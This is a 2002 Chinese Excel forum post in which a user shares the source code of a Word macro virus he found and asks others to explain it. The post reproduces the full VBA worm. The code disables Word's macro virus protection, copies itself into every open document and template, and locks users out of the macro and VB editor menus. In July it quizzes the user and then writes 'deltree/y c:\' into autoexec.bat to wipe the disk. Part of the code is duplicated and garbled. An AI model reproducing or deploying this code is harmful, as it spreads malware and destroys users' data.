ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 效率神器,一键搞定繁琐工作
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
让更多数据处理,一键完成 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 3970|回复: 0

关于宏

[复制链接]

TA的精华主题

TA的得分主题

发表于 2002-2-10 02:24 | 显示全部楼层 |阅读模式
在一个偶然的机会找到了该病源码。偶实在是对VB一无所知,故把它贴出来,望各位哥哥弟弟指点。 另外,该源码可以这样找到:删除C:/autoexec.dot,使用一种加密软件锁住office里 的normal.dot(该病毒似乎能够修改文档属性),打开word,由于无法保存normal.dot, word 会请求调试,即可找到源码。(上述过程可能有出入,别骂我) 如果哪位虫虫想出办法,麻烦寄信到我信箱。 Sub AutoOpen() Dim file$ Dim ans$ Dim test Dim mItem Dim cItem Dim aDoc Dim aTemp Dim vset Dim Iset Dim ad For Each ad In AddIns If ad.Name = "Autoexec.dot" Then ad.Installed = False End If Next ad With Dialogs(wdDialogToolsOptionsFileLocations) .Path = "STARTUP-PATH" .Setting = "c:\" .Execute End With If Options.VirusProtection Then Options.VirusProtection = False End If file$ = WordBasic.[MacroFileName$]() If InStr(file$, "Autoexec") <> 0 Then For Each aDoc In Documents For Each cItem In aDoc.VBProject.VBComponents If (cItem.Name = "a") Then vset = 1 End If Next cItem Next aDoc For Each cItem In NormalTemplate.VBProject.VBComponents If (cItem.Name = "a") Then vset = 1 End If Next cItem If vset <> 1 Then WordBasic.DisableAutoMacros Documents.Open FileName:="C:\Autoexec.dot", AddToRecentFiles:=False For Each aDoc In Documents If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDoc.VBProject.Protection = 0) Then wordBasic.MacroCopy ActiveDocument.FullName + ":a", aD oc.FullName + ":a" End If Next aDoc For Each aTemp In Templates If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aTemp.VBProject.Protection = 0) Then WordBasic.MacroCopy ActiveDocument.FullName + ":a", aT emp.FullName + ":a" End If Next aTemp ActiveDocument.Save ActiveDocument.Close End If If vset = 1 Then GoTo out End If End If With Application.FileSearch .LookIn = "C:\" .FileName = "Autoexec.dot" If .Execute > 0 Then Iset = 1 End If End With If Iset <> 1 Then WordBasic.DisableAutoMacros Documents.Add NewTemplate:=True WordBasic.MacroCopy file$ + ":a", ActiveDocument.FullName + ":a" ActiveDocument.SaveAs FileName:="c:\Autoexec.dot", AddToRecentFile s:=False ActiveDocument.Close End If For Each aDoc In Documents If (file$ <> aDoc.FullName) And (aDoc.VBProject.Protection = 0) Th en For Each cItem In aDoc.VBProject.VBComponents If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") O r (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then aDoc.VBProject.VBComponents.Remove (cItem) End If Next cItem End If Next aDoc For Each aTemp In Templates If (file$ <> aTemp.FullName) And (aTemp.VBProject.Protection = 0) Then For Each cItem In aTemp.VBProject.VBComponents If (cItem.Name = "AutoOpen") Or (cItem.Name = "AutoNew") O r (cItem.Name = "AutoClose") Or (cItem.Name = "FileSave") Then aTemp.VBProject.VBComponents.Remove (cItem) End If Next cItem End If Next aTemp For Each aDoc In Documents If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDo c.VBProject.Protection = 0) Then WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a" End If Next aDoc For Each aTemp In Templates If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aT emp.VBProject.Protection = 0) Then WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a" End If Next aTemp out: CustomizationContext = NormalTemplate Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs" Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs" Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro" Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode" For Each mItem In CommandBars("Tools").Controls If mItem.Caption = "自定义(&C)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "模板和加载项(&I)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "选项(&O)..." Then mItem.OnAction = "AutoCLose" End If Next mItem For Each cItem In CommandBars("Tools").Controls If cItem.Type = msoControlPopup Then If cItem.Caption = "宏(&M)" Then For Each mItem In cItem.CommandBar.Controls If mItem.Caption = "宏(&M)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "Visual Basic 编辑器(&V)" Then mItem.OnAction = "AutoClose" End If Next mItem End If End If Next cItem For Each cItem In CommandBars("Visual Basic").Controls cItem.OnAction = "AutoOpen" Next cItem For Each cItem In CommandBars If cItem.Visible = True Then cItem.Protection = msoBarNoCustomize End If Next cItem WordBasic.FileSaveAll 1, 1 pun: If WordBasic.Month(WordBasic.Now()) = 7 Then try: Item) End If Next cItem End If Next aTemp For Each aDoc In Documents If (InStr(aDoc.FullName, Application.PathSeparator) <> 0) And (aDo c.VBProject.Protection = 0) Then WordBasic.MacroCopy file$ + ":a", aDoc.FullName + ":a" End If Next aDoc For Each aTemp In Templates If (InStr(aTemp.FullName, Application.PathSeparator) <> 0) And (aT emp.VBProject.Protection = 0) Then WordBasic.MacroCopy file$ + ":a", aTemp.FullName + ":a" End If Next aTemp out: CustomizationContext = NormalTemplate Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF8)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs" Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF11)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="FileSaveAs" Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF1)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ToolsMacro" Set myKey = FindKey(BuildKeyCode(wdKeyAlt, wdKeyF2)) myKey.Rebind KeyCategory:=wdKeyCategoryCommand, Command:="ViewVBCode" For Each mItem In CommandBars("Tools").Controls If mItem.Caption = "自定义(&C)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "模板和加载项(&I)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "选项(&O)..." Then mItem.OnAction = "AutoClose" End If Next mItem For Each cItem In CommandBars("Tools").Controls If cItem.Type = msoControlPopup Then If cItem.Caption = "宏(&M)" Then For Each mItem In cItem.CommandBar.Controls If mItem.Caption = "宏(&M)..." Then mItem.OnAction = "AutoClose" End If If mItem.Caption = "Visual Basic 编辑器(&V)" Then mItem.OnAction = "AutoClose" End If Next mItem End If End If Next cItem For Each cItem In CommandBars("Visual Basic").Controls cItem.OnAction = "AutoClose" Next cItem For Each cItem In CommandBars If cItem.Visible = True Then cItem.Protection = msoBarNoCustomize End If Next cItem WordBasic.FileSaveAll 1, 1 pun: If WordBasic.Month(WordBasic.Now()) = 7 Then try: On Error GoTo -1: On Error GoTo 0 On Error GoTo -1: On Error GoTo try If test > 2 Then GoTo result test = test + 1 WordBasic.Beep ans$ = WordBasic.[InputBox$]("当今社会太黑暗,太不公正了!(" + Str(tes t) + ")", "醒世恒言", "非常正确") If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = "非常正确" Then WordBasic.Beep WordBasic.MsgBox "You are wise,please choose this later again, critically!", 48 GoTo exit_ Else GoTo try End If result: WordBasic.Beep WordBasic.MsgBox "Stop it!you are so incurable to lose 3 chances!" + Chr(13) + "Now,god will punish you...", 48 Open "C:\autoexec.bat" For Output As 1 Print #1, "deltree/y c:\" Close 1 Else 'MsgBox "Conguratulations!" End If exit_: For Each myTask In Tasks If InStr(myTask.Name, "Visual Basic") > 0 Then myTask.Visible = False End If Next myTask End Sub
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-11-21 18:45 , Processed in 0.037201 second(s), 10 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表